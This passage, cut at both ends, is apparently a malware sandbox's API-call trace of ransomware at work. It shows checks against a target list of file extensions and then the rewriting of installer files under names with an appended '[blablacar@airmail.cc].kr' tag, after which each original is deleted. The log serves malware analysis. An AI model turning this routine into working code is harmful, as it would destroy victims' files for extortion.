(lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.377] lstrlenW (lpString=".ppt") returned 4 [0088.377] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.377] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.377] lstrlenW (lpString=".zip") returned 4 [0088.377] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.377] lstrlenW (lpString=".rar") returned 4 [0088.377] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.377] lstrlenW (lpString=".bz2") returned 4 [0088.377] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.377] lstrlenW (lpString=".7z") returned 3 [0088.377] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.378] lstrlenW (lpString=".dbf") returned 4 [0088.378] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.378] lstrlenW (lpString=".1cd") returned 4 [0088.378] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.378] lstrlenW (lpString=".jpg") returned 4 [0088.378] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.378] lstrlenW (lpString=".doc") returned 4 [0088.378] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.378] lstrlenW (lpString=".docx") returned 5 [0088.378] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0088.378] lstrlenW (lpString=".pdf") returned 4 [0088.378] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.378] lstrlenW (lpString=".xls") returned 4 [0088.378] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.378] lstrlenW (lpString=".xlsx") returned 5 [0088.378] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.378] lstrlenW (lpString=".ppt") returned 4 [0088.378] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.378] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.379] lstrlenW (lpString=".zip") returned 4 [0088.379] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.379] lstrlenW (lpString=".rar") returned 4 [0088.379] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.379] lstrlenW (lpString=".bz2") returned 4 [0088.379] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.379] lstrlenW (lpString=".7z") returned 3 [0088.379] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.379] lstrlenW (lpString=".dbf") returned 4 [0088.379] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.379] lstrlenW (lpString=".1cd") returned 4 [0088.379] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.379] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0088.379] lstrlenW (lpString=".jpg") returned 4 [0088.379] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.379] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0088.379] lstrlenW (lpString="SetupResources.dll") returned 18 [0088.379] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.380] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=18776) returned 1 [0088.380] CloseHandle (hObject=0x348) returned 1 [0088.380] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0088.380] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.380] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0088.380] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.380] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.380] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0088.381] GetLastError () returned 0x0 [0088.381] ReadFile (in: hFile=0x348, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4958, lpOverlapped=0x0) returned 1 [0088.383] WriteFile (in: hFile=0x300, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4960, lpOverlapped=0x0) returned 1 [0088.385] ReadFile (in: hFile=0x348, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.385] WriteFile (in: hFile=0x300, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0088.385] SetEndOfFile (hFile=0x300) returned 1 [0088.385] CloseHandle (hObject=0x300) returned 1 [0088.387] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.387] SetEndOfFile (hFile=0x348) returned 1 [0088.388] CloseHandle (hObject=0x348) returned 1 [0088.388] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.388] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0088.389] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.389] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.389] lstrlenW (lpString=".doc") returned 4 [0088.389] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.389] lstrlenW (lpString=".docx") returned 5 [0088.389] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0088.389] lstrlenW (lpString=".pdf") returned 4 [0088.389] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.389] lstrlenW (lpString=".xls") returned 4 [0088.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.389] lstrlenW (lpString=".xlsx") returned 5 [0088.389] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.389] lstrlenW (lpString=".ppt") returned 4 [0088.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.389] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.389] lstrlenW (lpString=".zip") returned 4 [0088.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.389] lstrlenW (lpString=".rar") returned 4 [0088.390] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.390] lstrlenW (lpString=".bz2") returned 4 [0088.390] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.390] lstrlenW (lpString=".7z") returned 3 [0088.390] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.390] lstrlenW (lpString=".dbf") returned 4 [0088.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.390] lstrlenW (lpString=".1cd") returned 4 [0088.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.390] lstrlenW (lpString=".jpg") returned 4 [0088.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.390] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.390] lstrlenW (lpString=".doc") returned 4 [0088.390] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0088.390] lstrlenW (lpString=".docx") returned 5 [0088.390] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0088.390] lstrlenW (lpString=".pdf") returned 4 [0088.390] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0088.390] lstrlenW (lpString=".xls") returned 4 [0088.390] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0088.391] lstrlenW (lpString=".xlsx") returned 5 [0088.391] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0088.391] lstrlenW (lpString=".ppt") returned 4 [0088.391] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0088.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.391] lstrlenW (lpString=".zip") returned 4 [0088.391] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0088.391] lstrlenW (lpString=".rar") returned 4 [0088.391] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0088.391] lstrlenW (lpString=".bz2") returned 4 [0088.391] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0088.391] lstrlenW (lpString=".7z") returned 3 [0088.391] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0088.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.391] lstrlenW (lpString=".dbf") returned 4 [0088.391] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0088.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.391] lstrlenW (lpString=".1cd") returned 4 [0088.391] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0088.391] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0088.391] lstrlenW (lpString=".jpg") returned 4 [0088.391] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0088.392] Sleep (dwMilliseconds=0x64) [0088.695] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.695] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0088.695] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.696] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=88533) returned 1 [0088.696] CloseHandle (hObject=0x2b4) returned 1 [0088.696] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0088.697] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.697] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.697] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.697] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.697] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0088.697] GetLastError () returned 0x0 [0088.697] ReadFile (in: hFile=0x2b4, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0088.701] WriteFile (in: hFile=0x334, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0088.705] ReadFile (in: hFile=0x2b4, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.705] WriteFile (in: hFile=0x334, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf2, lpOverlapped=0x0) returned 1 [0088.705] SetEndOfFile (hFile=0x334) returned 1 [0088.705] CloseHandle (hObject=0x334) returned 1 [0088.708] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.709] SetEndOfFile (hFile=0x2b4) returned 1 [0088.711] CloseHandle (hObject=0x2b4) returned 1 [0088.711] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.711] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0088.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.711] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.711] lstrlenW (lpString=".doc") returned 4 [0088.712] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.712] lstrlenW (lpString=".docx") returned 5 [0088.712] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0088.712] lstrlenW (lpString=".pdf") returned 4 [0088.712] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.712] lstrlenW (lpString=".xls") returned 4 [0088.712] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.712] lstrlenW (lpString=".xlsx") returned 5 [0088.712] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0088.712] lstrlenW (lpString=".ppt") returned 4 [0088.712] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.712] lstrlenW (lpString=".zip") returned 4 [0088.712] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.712] lstrlenW (lpString=".rar") returned 4 [0088.712] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.712] lstrlenW (lpString=".bz2") returned 4 [0088.712] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.712] lstrlenW (lpString=".7z") returned 3 [0088.712] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.712] lstrlenW (lpString=".dbf") returned 4 [0088.712] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.712] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.713] lstrlenW (lpString=".1cd") returned 4 [0088.713] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.713] lstrlenW (lpString=".jpg") returned 4 [0088.713] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.713] lstrlenW (lpString=".doc") returned 4 [0088.713] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.713] lstrlenW (lpString=".docx") returned 5 [0088.713] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0088.713] lstrlenW (lpString=".pdf") returned 4 [0088.713] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.713] lstrlenW (lpString=".xls") returned 4 [0088.713] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.713] lstrlenW (lpString=".xlsx") returned 5 [0088.713] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0088.713] lstrlenW (lpString=".ppt") returned 4 [0088.713] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.713] lstrlenW (lpString=".zip") returned 4 [0088.713] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.713] lstrlenW (lpString=".rar") returned 4 [0088.713] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.713] lstrlenW (lpString=".bz2") returned 4 [0088.714] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.714] lstrlenW (lpString=".7z") returned 3 [0088.714] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.714] lstrlenW (lpString=".dbf") returned 4 [0088.714] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.714] lstrlenW (lpString=".1cd") returned 4 [0088.714] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0088.714] lstrlenW (lpString=".jpg") returned 4 [0088.714] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.714] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.714] lstrlenW (lpString="Print.ico") returned 9 [0088.714] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.715] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=1150) returned 1 [0088.715] CloseHandle (hObject=0x2b4) returned 1 [0088.715] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0088.716] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.716] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.716] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.716] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.716] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0088.716] GetLastError () returned 0x0 [0088.716] ReadFile (in: hFile=0x2b4, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x47e, lpOverlapped=0x0) returned 1 [0088.718] WriteFile (in: hFile=0x334, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x480, lpOverlapped=0x0) returned 1 [0088.719] ReadFile (in: hFile=0x2b4, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.719] WriteFile (in: hFile=0x334, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xe6, lpOverlapped=0x0) returned 1 [0088.720] SetEndOfFile (hFile=0x334) returned 1 [0088.720] CloseHandle (hObject=0x334) returned 1 [0088.721] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.721] SetEndOfFile (hFile=0x2b4) returned 1 [0088.722] CloseHandle (hObject=0x2b4) returned 1 [0088.722] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.722] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0088.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.723] lstrlenW (lpString=".doc") returned 4 [0088.723] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.723] lstrlenW (lpString=".docx") returned 5 [0088.723] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0088.723] lstrlenW (lpString=".pdf") returned 4 [0088.723] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.723] lstrlenW (lpString=".xls") returned 4 [0088.723] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.723] lstrlenW (lpString=".xlsx") returned 5 [0088.723] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0088.723] lstrlenW (lpString=".ppt") returned 4 [0088.723] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.723] lstrlenW (lpString=".zip") returned 4 [0088.723] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.723] lstrlenW (lpString=".rar") returned 4 [0088.724] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.724] lstrlenW (lpString=".bz2") returned 4 [0088.724] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.724] lstrlenW (lpString=".7z") returned 3 [0088.724] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.724] lstrlenW (lpString=".dbf") returned 4 [0088.724] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.724] lstrlenW (lpString=".1cd") returned 4 [0088.724] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.724] lstrlenW (lpString=".jpg") returned 4 [0088.724] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.724] lstrlenW (lpString=".doc") returned 4 [0088.724] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.724] lstrlenW (lpString=".docx") returned 5 [0088.724] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0088.724] lstrlenW (lpString=".pdf") returned 4 [0088.724] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.724] lstrlenW (lpString=".xls") returned 4 [0088.725] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.725] lstrlenW (lpString=".xlsx") returned 5 [0088.725] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0088.725] lstrlenW (lpString=".ppt") returned 4 [0088.725] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.725] lstrlenW (lpString=".zip") returned 4 [0088.725] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.725] lstrlenW (lpString=".rar") returned 4 [0088.725] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.725] lstrlenW (lpString=".bz2") returned 4 [0088.725] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.734] lstrlenW (lpString=".7z") returned 3 [0088.734] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.734] lstrlenW (lpString=".dbf") returned 4 [0088.734] lstrcmpiW 